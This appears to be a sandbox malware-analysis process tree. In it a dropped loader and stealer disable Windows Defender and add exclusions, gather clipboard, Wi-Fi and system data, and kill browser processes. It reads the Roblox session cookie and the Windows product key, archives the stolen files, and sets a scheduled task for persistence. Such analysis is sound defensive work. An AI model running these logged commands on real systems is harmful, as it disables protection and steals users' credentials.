"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --mojo-platform-channel-handle=8204 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:1
2⤵
PID:6752

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --mojo-platform-channel-handle=7152 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:1
2⤵
PID:6760

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=41 --mojo-platform-channel-handle=8500 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:1
2⤵
PID:6768

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --mojo-platform-channel-handle=8532 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:1
2⤵
PID:6776

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --mojo-platform-channel-handle=8956 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:1
2⤵
PID:7316

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=9324 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:8
2⤵
PID:7504

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=45 --mojo-platform-channel-handle=7428 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:1
2⤵
PID:7752

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=46 --mojo-platform-channel-handle=7576 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:1
2⤵
PID:7760

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=47 --mojo-platform-channel-handle=6016 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:1
2⤵
PID:7980

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=48 --mojo-platform-channel-handle=5912 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:1
2⤵
PID:8172

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=9764 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:8
2⤵
PID:7592

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=9804 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:8
2⤵
PID:6040

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1116 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:2
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:6196

C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"
1⤵
PID:4408

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4628,i,1400471177590024469,587385956640537806,262144 --variations-seed-version --mojo-platform-channel-handle=4232 /prefetch:8
1⤵
PID:5580

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x508 0x2f4
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1800

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:6140

C:\Users\Admin\Desktop\loader_fixed.exe
"C:\Users\Admin\Desktop\loader_fixed.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
PID:5396

C:\Users\Admin\AppData\Local\Temp\Built.exe
"C:\Users\Admin\AppData\Local\Temp\Built.exe"
2⤵
- Executes dropped EXE
PID:5280

C:\Users\Admin\AppData\Local\Temp\Built.exe
"C:\Users\Admin\AppData\Local\Temp\Built.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2156

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'"
4⤵
PID:3732

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'
5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:5800

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
4⤵
PID:3896

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
5⤵
- Suspicious behavior: EnumeratesProcesses
PID:6528

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‌ .scr'"
4⤵
PID:7876

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‌ .scr'
5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:6812

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
4⤵
PID:5156

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
5⤵
- Enumerates processes with tasklist
PID:8112

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
4⤵
PID:5152

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
5⤵
- Enumerates processes with tasklist
PID:7656

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
4⤵
PID:7412

C:\Windows\System32\Wbem\WMIC.exe
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
5⤵
PID:6520

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
4⤵
PID:1928

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-Clipboard
5⤵
- Suspicious behavior: EnumeratesProcesses
PID:5468

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
4⤵
PID:8096

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
5⤵
- Enumerates processes with tasklist
PID:7936

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
4⤵
PID:1684

C:\Windows\system32\tree.com
tree /A /F
5⤵
PID:5896

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
4⤵
PID:5884

C:\Windows\system32\netsh.exe
netsh wlan show profile
5⤵
- Event Triggered Execution: Netsh Helper DLL
PID:7224

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "systeminfo"
4⤵
PID:4172

C:\Windows\system32\systeminfo.exe
systeminfo
5⤵
- Gathers system information
PID:4496

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
4⤵
PID:5556

C:\Windows\system32\tree.com
tree /A /F
5⤵
PID:4660

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
4⤵
PID:1560

C:\Windows\system32\tree.com
tree /A /F
5⤵
PID:5064

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
4⤵
PID:3440

C:\Windows\system32\tree.com
tree /A /F
5⤵
PID:868

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
4⤵
PID:1492

C:\Windows\system32\tree.com
tree /A /F
5⤵
PID:2328

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
4⤵
PID:3052

C:\Windows\system32\tree.com
tree /A /F
5⤵
PID:2600

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4428"
4⤵
PID:7056

C:\Windows\system32\taskkill.exe
taskkill /F /PID 4428
5⤵
- Kills process with taskkill
PID:1128

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 748"
4⤵
PID:316

C:\Windows\system32\taskkill.exe
taskkill /F /PID 748
5⤵
- Kills process with taskkill
PID:6160

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2300"
4⤵
PID:7944

C:\Windows\system32\taskkill.exe
taskkill /F /PID 2300
5⤵
- Kills process with taskkill
PID:6312

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3776"
4⤵
PID:6236

C:\Windows\system32\taskkill.exe
taskkill /F /PID 3776
5⤵
- Kills process with taskkill
PID:2312

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 532"
4⤵
PID:7812

C:\Windows\system32\taskkill.exe
taskkill /F /PID 532
5⤵
- Kills process with taskkill
PID:7908

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3216"
4⤵
PID:7052

C:\Windows\system32\taskkill.exe
taskkill /F /PID 3216
5⤵
- Kills process with taskkill
PID:6092

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3928"
4⤵
PID:7876

C:\Windows\system32\taskkill.exe
taskkill /F /PID 3928
5⤵
- Kills process with taskkill
PID:5592

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4312"
4⤵
PID:7428

C:\Windows\system32\taskkill.exe
taskkill /F /PID 4312
5⤵
- Kills process with taskkill
PID:1684

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4108"
4⤵
PID:5192

C:\Windows\system32\taskkill.exe
taskkill /F /PID 4108
5⤵
- Kills process with taskkill
PID:2016

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1956"
4⤵
PID:5568

C:\Windows\system32\taskkill.exe
taskkill /F /PID 1956
5⤵
- Kills process with taskkill
PID:2688

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5736"
4⤵
PID:6088

C:\Windows\system32\taskkill.exe
taskkill /F /PID 5736
5⤵
- Kills process with taskkill
PID:6332

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3848"
4⤵
PID:2136

C:\Windows\system32\taskkill.exe
taskkill /F /PID 3848
5⤵
- Kills process with taskkill
PID:4764

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5312"
4⤵
PID:7672

C:\Windows\system32\taskkill.exe
taskkill /F /PID 5312
5⤵
- Kills process with taskkill
PID:1988

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1880"
4⤵
PID:3888

C:\Windows\system32\taskkill.exe
taskkill /F /PID 1880
5⤵
- Kills process with taskkill
PID:8052

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "getmac"
4⤵
PID:2624

C:\Windows\system32\getmac.exe
getmac
5⤵
PID:2392

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5232"
4⤵
PID:3300

C:\Windows\system32\taskkill.exe
taskkill /F /PID 5232
5⤵
- Kills process with taskkill
PID:7744

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5492"
4⤵
PID:7588

C:\Windows\system32\taskkill.exe
taskkill /F /PID 5492
5⤵
- Kills process with taskkill
PID:5540

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5420"
4⤵
PID:7296

C:\Windows\system32\taskkill.exe
taskkill /F /PID 5420
5⤵
- Kills process with taskkill
PID:7992

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5528"
4⤵
PID:2844

C:\Windows\system32\taskkill.exe
taskkill /F /PID 5528
5⤵
- Kills process with taskkill
PID:2548

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5412"
4⤵
PID:7376

C:\Windows\system32\taskkill.exe
taskkill /F /PID 5412
5⤵
- Kills process with taskkill
PID:6952

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3088"
4⤵
PID:5964

C:\Windows\system32\taskkill.exe
taskkill /F /PID 3088
5⤵
- Kills process with taskkill
PID:5188

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5456"
4⤵
PID:2972

C:\Windows\system32\taskkill.exe
taskkill /F /PID 5456
5⤵
- Kills process with taskkill
PID:6868

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4564"
4⤵
PID:6704

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
5⤵
PID:2312

C:\Windows\system32\taskkill.exe
taskkill /F /PID 4564
5⤵
- Kills process with taskkill
PID:7136

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3040"
4⤵
PID:6840

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
5⤵
PID:7908

C:\Windows\system32\taskkill.exe
taskkill /F /PID 3040
5⤵
- Kills process with taskkill
PID:1056

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 6200"
4⤵
PID:7828

C:\Windows\system32\taskkill.exe
taskkill /F /PID 6200
5⤵
- Kills process with taskkill
PID:6124

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 6680"
4⤵
PID:4744

C:\Windows\system32\taskkill.exe
taskkill /F /PID 6680
5⤵
- Kills process with taskkill
PID:7876

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 6752"
4⤵
PID:1820

C:\Windows\system32\taskkill.exe
taskkill /F /PID 6752
5⤵
- Kills process with taskkill
PID:7428

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 6776"
4⤵
PID:7412

C:\Windows\system32\taskkill.exe
taskkill /F /PID 6776
5⤵
- Kills process with taskkill
PID:5192

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 7316"
4⤵
PID:5876

C:\Windows\system32\taskkill.exe
taskkill /F /PID 7316
5⤵
- Kills process with taskkill
PID:1620

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 7980"
4⤵
PID:8100

C:\Windows\system32\taskkill.exe
taskkill /F /PID 7980
5⤵
- Kills process with taskkill
PID:3724

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 8172"
4⤵
PID:6060

C:\Windows\system32\taskkill.exe
taskkill /F /PID 8172
5⤵
- Kills process with taskkill
PID:2988

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
4⤵
PID:1604

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
5⤵
- Suspicious behavior: EnumeratesProcesses
PID:7732

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
4⤵
PID:1196

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
5⤵
- Suspicious behavior: EnumeratesProcesses
PID:5364

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI52802\rar.exe a -r -hp"neekeri" "C:\Users\Admin\AppData\Local\Temp\i5qXG.zip" *"
4⤵
PID:4100

C:\Users\Admin\AppData\Local\Temp\_MEI52802\rar.exe
C:\Users\Admin\AppData\Local\Temp\_MEI52802\rar.exe a -r -hp"neekeri" "C:\Users\Admin\AppData\Local\Temp\i5qXG.zip" *
5⤵
- Executes dropped EXE
PID:3120

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic os get Caption"
4⤵
PID:212

C:\Windows\System32\Wbem\WMIC.exe
wmic os get Caption
5⤵
PID:5256

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
4⤵
PID:3508

C:\Windows\System32\Wbem\WMIC.exe
wmic computersystem get totalphysicalmemory
5⤵
PID:6136

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
4⤵
PID:7476

C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
5⤵
PID:7272

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
4⤵
PID:7280

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
5⤵
- Suspicious behavior: EnumeratesProcesses
PID:7784

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
4⤵
PID:6728

C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
5⤵
- Detects videocard installed
PID:5804

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
4⤵
PID:5784

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
5⤵
- Suspicious behavior: EnumeratesProcesses
PID:1076

C:\Users\Admin\AppData\Local\Temp\loader.exe
"C:\Users\Admin\AppData\Local\Temp\loader.exe"
2⤵
- Executes dropped EXE
PID:1860

C:\Users\Admin\AppData\Local\Temp\SteamUDPUpdater.exe
"C:\Users\Admin\AppData\Local\Temp\SteamUDPUpdater.exe"
2⤵
- Checks computer location settings
- Executes dropped EXE
PID:7700

C:\Users\Admin\AppData\Local\Temp\XenoManager\SteamUDPUpdater.exe
"C:\Users\Admin\AppData\Local\Temp\XenoManager\SteamUDPUpdater.exe"
3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:6920

C:\Windows\SysWOW64\schtasks.exe
"schtasks.exe" /Create /TN "SteamUDPUpdater" /XML "C:\Users\Admin\AppData\Local\Temp\tmp2CAF.tmp" /F
4⤵
- Scheduled Task/Job: Scheduled Task
PID:2380

C:\Windows\SysWOW64\schtasks.exe
"schtasks.exe" /query /v /fo csv
4⤵
PID:6248

C:\Windows\SysWOW64\schtasks.exe
"schtasks.exe" /delete /tn "\SteamUDPUpdater" /f
4⤵
PID:7020

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\XenoManager\SteamUDPUpdater.exe"
4⤵
PID:2628

C:\Windows\SysWOW64\choice.exe
choice /C Y /N /D Y /T 3
5⤵
PID:1992

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
PID:6316

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0xe4,0xd8,0x104,0xe0,0x108,0x7ffaf872ab58,0x7ffaf872ab68,0x7ffaf872ab78
2⤵
PID:5020

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1716 --field-trial-handle=1928,i,11562003709266760329,13153908463965530295,131072 /prefetch:2
2⤵
PID:7108

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=1928,i,11562003709266760329,13153908463965530295,131072 /prefetch:8
2⤵
PID:7144

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2280 --field-trial-handle=1928,i,11562003709266760329,13153908463965530295,131072 /prefetch:8
2⤵
PID:7084

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3068 --field-trial-handle=1928,i,11562003709266760329,13153908463965530295,131072 /prefetch:1
2⤵
PID:7100

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3080 --field-trial-handle=1928,i,11562003709266760329,13153908463965530295,131072 /prefetch:1
2⤵
PID:7044

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4328 --field-trial-handle=1928,i,11562003709266760329,13153908463965530295,131072 /prefetch:1
2⤵
PID:4764

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4508 --field-trial-handle=1928,i,11562003709266760329,13153908463965530295,131072 /prefetch:8
2⤵
PID:3044

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4548 --field-trial-handle=1928,i,11562003709266760329,13153908463965530295,131072 /prefetch:8
2⤵
PID:7972

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4616 --field-trial-handle=1928,i,11562003709266760329,13153908463965530295,131072 /prefetch:8
2⤵
PID:8088

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5016 --field-trial-handle=1928,i,11562003709266760329,13153908463965530295,131072 /prefetch:8
2⤵
PID:1088

C:\Program Files\Google\Chrome\Application\110.0.5481.104\Installer\setup.exe
"C:\Program Files\Google\Chrome\Application\110.0.5481.104\Installer\setup.exe" --reenable-autoupdates --system-level
2⤵
PID:7580

C:\Program Files\Google\Chrome\Application\110.0.5481.104\Installer\setup.exe
"C:\Program Files\Google\Chrome\Application\110.0.5481.104\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x238,0x23c,0x240,0x214,0x244,0x7ff7e098ae48,0x7ff7e098ae58,0x7ff7e098ae68
3⤵
PID:5928

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4764 --field-trial-handle=1928,i,11562003709266760329,13153908463965530295,131072 /prefetch:8
2⤵
PID:7936

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4968 --field-trial-handle=1928,i,11562003709266760329,13153908463965530295,131072 /prefetch:8
2⤵
PID:7852

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4728 --field-trial-handle=1928,i,11562003709266760329,13153908463965530295,131072 /prefetch:8
2⤵
PID:5272

